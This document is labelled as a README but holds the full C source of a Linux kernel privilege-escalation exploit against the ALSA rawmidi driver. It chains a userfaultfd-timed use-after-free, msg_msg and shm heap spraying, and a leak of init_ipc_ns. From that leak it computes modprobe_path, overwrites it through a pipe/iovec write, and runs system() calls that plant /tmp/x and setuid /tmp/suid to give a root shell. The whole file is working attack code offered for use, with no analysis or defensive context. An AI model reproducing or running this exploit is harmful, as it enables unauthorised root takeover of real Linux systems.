README.md
Rendering markdown...
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sound/asound.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <inttypes.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include "krwx.h"
#include <sys/shm.h>
#include <time.h>
#include <sys/uio.h>
#define TRUE (1==1)
#define FALSE (!TRUE)
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
} while (0)
#define DEV_RAWMIDI "/dev/snd/midiC0D0"
#define MODPROBE_PATH_OFFSET 0x4AB60 /* from leaked init_ipc_ns */
#define ADDRESS_PAGE_FAULT_1 0x5550000
#define ADDRESS_PAGE_FAULT_2 0x7770000
#define PAGE_SIZE 0x1000
struct thread_args{
int id;
int uffd;
void* addr_to_trigger;
char* content;
int size;
};
struct thread_snd_write_args{
void* addr;
size_t size;
};
/* msg_msg */
#define Cyan(string) "\e[0;36m" string "\x1b[0m"
#define BCyan(string) "\e[1;36m" string "\x1b[0m"
#define MSGTYPE 0x537
#define MSGKEY 0x1337
struct msgbuf {
unsigned long mtype; /* message type, must be >0 */
char mtext[1]; /* message data */
};
/* end msg_msg */
long uffd; /* userfaultfd file descriptor */
pthread_t tids[5];
int release_page_fault = TRUE;
int fd_rawmidi;
static void *
fault_handler_thread(struct thread_args* arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
long uffd; /* userfaultfd file descriptor */
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;
void* addr_to_trigger;
char* input_content;
int input_size;
uffd = arg->uffd;
addr_to_trigger = arg->addr_to_trigger;
input_content = arg->content;
input_size = arg->size;
/* Create a page that will be copied into the faulting region. */
if (page == NULL) {
page = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("mmap");
}
/* Loop, handling incoming events on the userfaultfd
file descriptor. */
//printf("[*][page_fault_handler] Starting page fault handler on %p\n", addr_to_trigger);
for (;;) {
/* See what poll() tells us about the userfaultfd. */
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
/*
printf("\nfault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", nready,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);
*/
/* Read an event from the userfaultfd. */
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) errExit("EOF on userfaultfd!");
if (nread == -1) errExit("read");
/* We expect only one kind of event; verify that assumption. */
if (msg.event != UFFD_EVENT_PAGEFAULT) errExit("Unexpected event on userfaultfd");
/* Display info about the page-fault event. */
printf("[+] Page Fault triggered for %p!\n", msg.arg.pagefault.address);
//if(msg.arg.pagefault.address == (void*) ADDRESS_PAGE_FAULT_1 + PAGE_SIZE){
if(msg.arg.pagefault.address == (void*) addr_to_trigger){
//release_page_fault = FALSE;
while(release_page_fault == TRUE);
}
else{
// Not our desired page fault
printf("[-] NOT OUR CASE\n");
continue;
}
//printf("[+] PAGE FAULT RELEASED");
//printf(" UFFD_EVENT_PAGEFAULT event: ");
//printf("flags = %"PRIx64"; ", msg.arg.pagefault.flags);
//printf("address = 0x%"PRIx64"\n", msg.arg.pagefault.address);
// Write into the new page desired input with desired input size
memcpy(page, input_content, input_size);
uffdio_copy.src = (unsigned long) page;
/* We need to handle page faults in units of pages(!).
So, round faulting address down to page boundary. */
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &~(PAGE_SIZE - 1);
uffdio_copy.len = PAGE_SIZE;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
//printf(" (uffdio_copy.copy returned %"PRId64")\n",
// uffdio_copy.copy);
release_page_fault = TRUE;
break;
}
close(uffd);
printf("[*] Page fault thread terminated\n" );
}
void l_print_qword(void* address){
unsigned long first;
unsigned long second;
first = *(int64_t *) address;
second = *(int64_t *) (address + 0x8);
printf(BCyan("%p:\t"), address);
printf(Cyan("0x%016lx 0x%016lx\n"), first, second);
}
void dump_memory(void* start_address, size_t size){
void* end_address = start_address + size; // also if not padded to 8 it will be fine in the loop condition
//printf("[D] [read_memory] start_addres: %p\n[D][read_memory] end_address: %p\n", start_address, end_address);
printf("\n");
while(start_address < end_address){
l_print_qword(start_address);
start_address = start_address + (8 * 2);
}
}
void* thread_sound_write(struct thread_snd_write_args* arg ){
void* addr;
size_t size;
ssize_t write_n;
int fd_test;
addr = arg->addr;
size = arg->size;
//printf("[*] snd_write thread with addr:%p and size: %d ..\n", addr, size);
write_n = write(fd_rawmidi, addr, size);
//printf("bytes written: %zu\n", write_n);
}
int sound_resize_params(int stream, size_t buffer_size, size_t avail_min) {
// SNDRV_RAWMIDI_STREAM_OUTPUT
//printf("[debug] calling SNDRV_RAWMIDI_IOCTL_PARAMS with buff_size %d\n", buffer_size);
struct snd_rawmidi_params params = {0};
params.stream = stream;
params.buffer_size = buffer_size;
params.avail_min = avail_min;
int ioctl_res = ioctl(fd_rawmidi, SNDRV_RAWMIDI_IOCTL_PARAMS, ¶ms);
//printf("[debug] ioctl_res: %d\n", ioctl_res);
if ( ioctl_res == -1)
errExit("ioctl SNDRV_RAWMIDI_IOCTL_PARAMS");
return 0;
}
int get_msg(int qid, void* out_buf, int msg_len, int msg_type){
//struct msgbuf* rec_msg_buf = malloc( sizeof(rec_msg_buf) + msg_len);
if (msgrcv( qid, out_buf, msg_len, msg_type, MSG_NOERROR | IPC_NOWAIT) == -1 ){
if( errno != ENOMSG) {
perror("msgrcv");
return -1;
}
//errExit("msgrcv");
printf("[get_msg] No message received\n");
return 0;
}
return 1;
}
int send_msg(int qid, void* memory, int msg_len, int msg_type){
struct msgbuf* msg_buf;
msg_buf = malloc( sizeof(struct msgbuf) + msg_len );
msg_buf->mtype = msg_type;
memcpy(msg_buf->mtext, memory, msg_len);
//printf("[send_msg] Sending msg with type 0x%x on qid: 0x%x\n", msg_type, qid);
if( msgsnd(qid, msg_buf, ( sizeof(msg_buf) + msg_len) , IPC_NOWAIT) == -1 ){
errExit("msgsnd");
}
return 0;
}
void init_userfault_thread(int th_num, void* addr_to_monitor, int range, char* input_content, int input_size){
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
uffdio_register.range.start = (unsigned long) addr_to_monitor;
uffdio_register.range.len = range; // IMPORTANT: The range
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
printf("[+] userfaultfd registered\n");
struct thread_args* args = (struct thread_args*) malloc(sizeof(struct thread_args));
args->id = 1337;
args->uffd = uffd;
args->addr_to_trigger = addr_to_monitor;
args->content = input_content;
args->size = input_size;
s = pthread_create(&tids[th_num], NULL, fault_handler_thread,(void*) args);
if (s != 0) {
errno = s;
errExit("pthread_create");
}
}
void spray_shm(int num)
{
int shmid[0x100] = {0};
void *shmaddr[0x100] = {0};
for(int i = 0; i < num; i++){
shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);
if (shmid[i] < 0) errExit("shmget");
shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);
if (shmaddr[i] < 0) errExit("shmat");
}
}
void prep_exploit(){
system("echo '#!/bin/sh' > /tmp/x");
system("echo 'touch /tmp/pwneed' >> /tmp/x");
system("echo 'chown root: /tmp/suid' >> /tmp/x");
system("echo 'chmod 777 /tmp/suid' >> /tmp/x");
system("echo 'chmod u+s /tmp/suid' >> /tmp/x");
system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/nnn");
system("chmod +x /tmp/x");
system("chmod +x /tmp/nnn");
}
void get_root_shell(){
system("/tmp/nnn 2>/dev/null");
system("/tmp/suid 2>/dev/null");
}
int main(void)
{
printf("[*] Starting exploitation ..\n");
prep_exploit();
int pipefd[2];
if(pipe(pipefd) == -1) errExit("pipe");
void* addr = (void*) ADDRESS_PAGE_FAULT_1;
if(mmap(addr, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED) errExit("mmap");
// Content that will be overwritten from the page fault handler
char content_first_userfault[PAGE_SIZE];
memset(content_first_userfault, 0xff, PAGE_SIZE);
// Init and start the user page fault thread
// In this case the size is not important since we will block the write from the rawmidi write
init_userfault_thread(1, addr + PAGE_SIZE, PAGE_SIZE, content_first_userfault, 0xff);
fd_rawmidi = open(DEV_RAWMIDI, O_RDWR);
if (fd_rawmidi < 0) errExit("fd");
/* START */
int qid[2];
srand(time(0));
int msgkey = rand();
int msgtype = rand();
qid[0] = msgget(msgkey, IPC_CREAT | 0666);
if( qid[0] == -1 ) errExit("msgget");
// Spray SHM structs in kmalloc-32
spray_shm(40);
/* Allocate and re-size the buffer in order to have an arbitrary sized chunk */
// It's not important how much we write, kmalloc(PAGE_SIZE) will always be the first allocation
char write_buffer[10] = {0};
memset(&write_buffer, 0x41, 10);
printf("[*] First write to init substream..\n");
write(fd_rawmidi, &write_buffer, 4);
// re-size in order to have an arbitrary sized chunk freed that lands in kmalloc-4096
// this step can be skipped since our chunk is already in kmalloc-4096, but for future uses I keep it (if it's necessary to change the cache)
printf("[*] Resizing buffer_size to 4096 ..\n");
// sound_resize_params(int stream, size_t buffer_size, size_t avail_min)
sound_resize_params(SNDRV_RAWMIDI_STREAM_OUTPUT, 4090, 7);
// Trigger the PAGE FAULT only at 0x5550000 + PAGE_SIZE
// Since we want to overwrite msg_msg->ms_ts (at 0x18) (and we do not want to overwrite everything before)
memset(addr, 0x43, PAGE_SIZE);
struct thread_snd_write_args snd_write_arg;
snd_write_arg.addr = addr + PAGE_SIZE - 0x18;
snd_write_arg.size = 0x18 + 0x2; // 0x2 is the 0xffff that will be written in msg_msg->ms_ts
// Trigger the page fault and lock in copy_from_user
pthread_create(&tids[2], NULL, thread_sound_write, &snd_write_arg);
printf("[*] snd_write triggered (should fault) \n");
// We have to trigger the buffer re-size in order to free the object
// and allocate one our obj that fits in kmalloc-128
// sound_resize_params(int stream, size_t buffer_size, size_t avail_min)
printf("[*] Freeing buf using SNDRV_RAWMIDI_IOCTL_PARAMS\n");
sound_resize_params(SNDRV_RAWMIDI_STREAM_OUTPUT, 90, 1);
/* Allocate msg_msg struct in kmalloc-128*/
/*
void* chunk1 = kmalloc(4090, _GFP_KERN);
release_page_fault = TRUE; // Tells the fault_handler thread to start its job
read_memory(chunk1, 128 * 2);
*/
///*
void* mem = malloc(4096 * 2);
memset(mem, 0x45, 4096 * 2);
printf("[*] Replacing freed obj with msg_msg .\n");
send_msg(qid[0], mem, 4096 - 48 + (10), msgtype); // should fall in kmalloc-32
memset(mem, 0x46, 1024);
//void* temp = kmalloc(32, _GFP_KERN);
spray_shm(4);
release_page_fault = FALSE; // Tells the fault_handler thread to start its job
printf("[*] Waiting for userfaultd to finish ..\n");
while(release_page_fault == FALSE); // Waits that the page fault handler ends
printf("[+] Page fault lock released\n");
unsigned long* res = malloc(4096 * 2);
memset(res, 0x0, 4096 * 2);
get_msg(qid[0], res, 4096 * 2, msgtype);
//dump_memory(res, 4096 * 2);
// init_pc_]ns is @ res + 0xe0
unsigned long init_ipc_ns = *(res + (0xff8 / sizeof(unsigned long)));
unsigned long modprobe_path = init_ipc_ns - MODPROBE_PATH_OFFSET;
printf("[+] init_ipc_ns @0x%lx\n", init_ipc_ns);
printf("[+] calculated modprobe_path @0x%lx\n", modprobe_path);
/* ARBITRARY WRITE */
printf("[+] Starting the arbitrary write phase ..\n");
release_page_fault = TRUE;
printf("[*] Closing and reopening re-opening rawmidi fd ..\n");
close(fd_rawmidi);
fd_rawmidi = 0;
fd_rawmidi = open(DEV_RAWMIDI, O_RDWR);
if (fd_rawmidi < 0) errExit("fd");
// We want to do the same
// Register page fault of a mmap region
if(mmap(ADDRESS_PAGE_FAULT_2, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED) errExit("mmap");
memset(content_first_userfault, 0x0, PAGE_SIZE);
*(unsigned long*) (content_first_userfault) = modprobe_path; // iov.iov_base
*(unsigned long*) (content_first_userfault + 0x8) = 0x8; // iov.iov_len => sizeof(tmp/x);
*(unsigned long*) (content_first_userfault + 0x10) = 0xdeadbeefdeadbeef;
*(unsigned long*) (content_first_userfault + 0x18) = 0x8;
//dump_memory(content_first_userfault, 0x40);
init_userfault_thread(3, ADDRESS_PAGE_FAULT_2 + PAGE_SIZE, PAGE_SIZE * 2, content_first_userfault, 0x10);
// Can we do the same with the same file descriptor opened?
printf("[*] First write to init substream..\n");
// reusing the prev write_buffer
int res_w = write(fd_rawmidi, &write_buffer, 4);
//printf("write res: %d\n", res_w);
// re-size in order to have an arbitrary sized chunk freed that lands in kmalloc-256
printf("[*] Resizing buffer_size to land into kmalloc-256 ..\n");
// sound_resize_params(int stream, size_t buffer_size, size_t avail_min)
sound_resize_params(SNDRV_RAWMIDI_STREAM_OUTPUT, 250, 2);
// Trigger PAGE_FAULT
struct thread_snd_write_args write_args;
write_args.addr = ADDRESS_PAGE_FAULT_2 + PAGE_SIZE - 0x10;
write_args.size = 0x20;
//printf("RESULT: %d, ", write(fd_rawmidi, ADDRESS_PAGE_FAULT_2, 10));
pthread_create(&tids[4], NULL, thread_sound_write, &write_args);
printf("[*] snd_write triggered (should fault) \n");
printf("[*] Freeing buf from SNDRV_RAWMIDI_IOCTL_PARAMS\n");
// size is not important, this one is just necessary to free the previous allocated chunk in kmalloc-256
sound_resize_params(SNDRV_RAWMIDI_STREAM_OUTPUT, 300, 1);
struct iovec iov_read_buffers[13] = {0};
char read_buffer0[0x100];
memset(read_buffer0, 0x52, 0x100);
iov_read_buffers[0].iov_base = read_buffer0;
iov_read_buffers[0].iov_len= 0x10;
iov_read_buffers[1].iov_base = read_buffer0;
iov_read_buffers[1].iov_len= 0x10;
iov_read_buffers[8].iov_base = read_buffer0;
iov_read_buffers[8].iov_len= 0x10;
iov_read_buffers[12].iov_base = read_buffer0;
iov_read_buffers[12].iov_len= 0x10;
if(!fork()){
ssize_t readv_res = readv(pipefd[0], iov_read_buffers, 13); // 13 * 16 = 208 => kmalloc-256
exit(0);
}
// ALLOCATE
printf("[*] Waiting for readv ..\n");
sleep(1); // Waits for readv allocation
release_page_fault = FALSE; // Tells the fault_handler thread to start its job
while(release_page_fault == FALSE); // Waits that the page fault handler ends
printf("[+] Page fault lock released\n");
// TRIGGER
char write_buf[128];
memset(write_buf, 0x57, 128);
*(unsigned long*) ( write_buf + 0x10) = 0x00782f706d742f; // /tmp/x
printf("[*] Writing into the pipe ..\n");
ssize_t write_res = write(pipefd[1], write_buf, 0x10 + 0x8);
printf("[*] write = %zd\n", write_res);
printf("[+] enjoy your r00t shell [:\n");
get_root_shell();
}